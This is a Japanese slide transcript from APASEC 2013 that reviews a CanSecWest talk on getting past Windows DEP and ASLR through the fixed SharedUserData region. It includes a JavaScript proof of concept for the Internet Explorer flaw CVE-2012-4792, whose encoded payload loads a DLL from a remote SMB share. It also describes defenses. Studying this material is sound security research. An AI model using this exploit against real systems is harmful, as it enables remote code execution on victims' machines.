Upgrade to Pro — share decks privately, control downloads, hide ads and more …

APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

CanSecWest 2013 で公開された資料を詳しく見てみた。

Satoshi MIMURA

March 29, 2013
Tweet

More Decks by Satoshi MIMURA

Other Decks in Research

Transcript

  1. 自己紹介 三村 聡志 (@mimura1133) / APASEC 初参加  http://mimumimu.net/ セキュリティ&プログラミングキャンプ

    2011 参加。 セキュリティ・キャンプ 2012 チュータ参加。 ROP/JIT を使わずに DEP/ASLR を回避する。 3
  2. 資料概要 CanSecWest Vancouver 2013 で発表された資料。 NSFOCUS Security Labs の Yang

    Yu さんが発表。 ROP や JIT を使わずに、 DEP や ASLR を回避して、 任意のコードを実行しよう、 という内容。 ROP/JIT を使わずに DEP/ASLR を回避する。 5
  3. DEP (データ実行防止) メモリ上のデータに「実行不可能」という 印をつけて、動作を制限する。  攻撃者が不正なプログラムを送り込む際に、 本来は実行プログラムのデータが格納されるはずのない 場所にデータを格納して、実行させようとする所に着目。  下手なシェルコードを送り込むと、これで弾かれる。

     カーネルでやらかすと ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY が発生。 詳しく書くと :  x86_64 版 Windows + x86_64 環境用の実行ファイル  全てに適用される。 (AlwaysOn) BCD にて nx = AlwaysOff と指定すれば外れる。  スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。  x86 版 Windows or x86 環境用の実行ファイル  重要なもののみに原則適用。 (OutIn) ただし、サーバ用OS では原則全て (OptOut)  なお、PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。  スレッドスタック (User), ページ領域 (User) ROP/JIT を使わずに DEP/ASLR を回避する。 7
  4. ASLR (アドレス空間配置のランダム化) 下記データのメモリアドレスを不定にする。  イメージ(実行データ)  スタック領域  ヒープ領域 

    攻撃者が内部のコードを使って攻撃することがあるが、 アドレスを不定にしてそれをしにくくする。  分からなければ、3時のおやつを 「いつも同じ特定の場所」 に隠して置くと、 いつの間にかバレて、おやつが食べられてしまうことを想像しよう。  詳しく書くと:  TSC (CPU のタイムスタンプ値) を元に8ビットの値を生成して、 254 で割り、1を足したものに 64KB を掛ける。  DLL に関してはシステム起動時に1回計算し、その値を元にランダム化する。  イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲が原則。 ROP/JIT を使わずに DEP/ASLR を回避する。 8
  5. ROP (Return-Oriented-Programming) イメージとしては、 新聞で脅迫文(失礼) を作るような感じ。 仕掛けとしては、 “ret” 命令で戻る際のアドレスが書き込まれているスタック領域を、 プログラム内でつかえそうな部分のアドレスに書き換える。 

    あとは、ret -> 指定箇所が実行される -> ret -> 指定箇所2が実行される… の繰り返し。 実行不可能な場所を使っているのでは無く、 実行可能なコードを組み合わせて使う。 先述の DEP に対してはこれで何とかなる。 ただ ASLR が掛かってると、欲しい箇所のアドレスが分からない。 ROP/JIT を使わずに DEP/ASLR を回避する。 9
  6. JIT (Just-In-Time) [Compiler] 身近な例では  Microsoft .NET, Mono, Java, JavaScript

    (実装による) 実行中に「実行可能コード」を ”生成” する。  実行中に悪用可能なコードを実行可能コードとして配置できる。 過去にあった例:PDF (BlackHat DC 2010) ROP/JIT を使わずに DEP/ASLR を回避する。 10
  7. 概要 Windows NT4 以降の Windows では、 0x7ffe0000 に SharedUserData 構造体のデータが

    アドレス固定で置かれている。 x86 環境では:  0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。  ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる! x86_64 環境 (for x86 アプリケーション) では:  0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されてる。  その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、 ntdll!LdrHotPatchRoutine へのポインタが置かれている。  このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる! ROP/JIT を使わずに DEP/ASLR を回避する。 13
  8. SystemCall を使った手法 (for x86) MS08-078 (ポインタ参照の メモリ破壊の脆弱性) を応用したサンプル。 eax の先を

    “7c02fe7f” (0x7ffe027c + 0x84 = KiFastSystemCall) になるようにメモリを埋めておく。 このコードが成功すると、 0x11db のシステムコールが実行される。 ROP/JIT を使わずに DEP/ASLR を回避する。 14
  9. ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) ROP/JIT を使わずに DEP/ASLR を回避する。

    15 function CVE-2012-4792_EXP() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); window.location = "¥u0274¥u7ffe¥u4242¥u4242¥u0014¥u0030¥u0044" + "¥u0012¥u1212¥u0004¥u005c¥u005c¥u0031¥u0039¥u0032¥u002e¥u0031" + "¥u0036¥u0038¥u002e¥u0035¥u0039¥u002e¥u0031¥u0032¥u0038¥u005c" + "¥u0078¥u005c¥u0078¥u002e¥u0064¥u006c¥u006c¥u006e¥u0074¥u0064" + "¥u006c¥u006c¥u002e¥u0064¥u006c¥u006c"; } struct HotPatchBuffer { ULONG NotSoSure01; // => EAX へ ULONG NotSoSure02; USHORT PatcherNameOffset; USHORT PatcherNameLen; USHORT PatcheeNameOffset; USHORT PatcheeNameLen; USHORT UnknownNameOffset; USHORT UnknownNameLen char[] PatcherName; char[] PatcheeName; }; PatcherName : ¥¥192.168.59.128¥x¥x.dll PatcheeName : ntdll.dll
  10. ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) MS13-008 を応用したサンプル。 先ほどのコードが実行されると、 LdrHotPatchRoutine

    が実行さ れる。 また、事前に “push edi” とし ている点から、 関数に必要なパラメータはここか ら持ってこれる。 ROP/JIT を使わずに DEP/ASLR を回避する。 16
  11. テスト環境 Windows 7 Service Pack 1 (x86, x86_64) + Internet

    Explorer 8 Windows 8 (x86, x86_64) + Internet Explorer 10 留意点:  MSDN よりダウンロードした状態でそのまま使う。 Windows Update 等は禁止する。 ROP/JIT を使わずに DEP/ASLR を回避する。 18
  12. 挿入するDLL : BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason)

    { case DLL_PROCESS_ATTACH: MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL); break; } return TRUE; } ROP/JIT を使わずに DEP/ASLR を回避する。 19
  13. この攻撃を防ぐには? LdrHotpatchRoutine のパラメータを見る。 外向けファイアウォールで、 SMB 通信を切る。 ROP/JIT を使わずに DEP/ASLR を回避する。

    23 struct HOTPATCH{ DWORD Flags; DWORD Size; union { struct CodeInfo { } struct KernelInfo { } struct UserModeInfo { } struct InjectionInfo { } struct RenameInfo {} struct AtomicSwap { } } } Flag は正しい? size は正しい? リモートのファイル を見に行ってない? そもそも、 呼び出し元は? http://www.openrce.org/articles/full_view/22 ここに LdrHotPatchRoutine に対しての 詳しい資料がある。 APA akasaka -180 APA
  14. x86 のサンプルについて 0x11db って NtGdiEngCheckAbort だとおもう。 NtUserLockWorkStation なら、 0x12db だとおもう・・w

    ref : http://j00ru.vexillium.org/win32k_x64/ ROP/JIT を使わずに DEP/ASLR を回避する。 26
  15. まとめ。 0x7ffe0000 にSharedUserData 構造体のデータが アドレス固定で置かれている。 そのうち、 x86 では KiFastSystemCall x86_64

    では LdrHotPatchRoutine を呼び出すことが出来る。 特に後者ではスプレー不要のため、より簡単に呼び出せて危険。 Windows 8 では今回の問題に関する情報は削除されていた。 ROP/JIT を使わずに DEP/ASLR を回避する。 28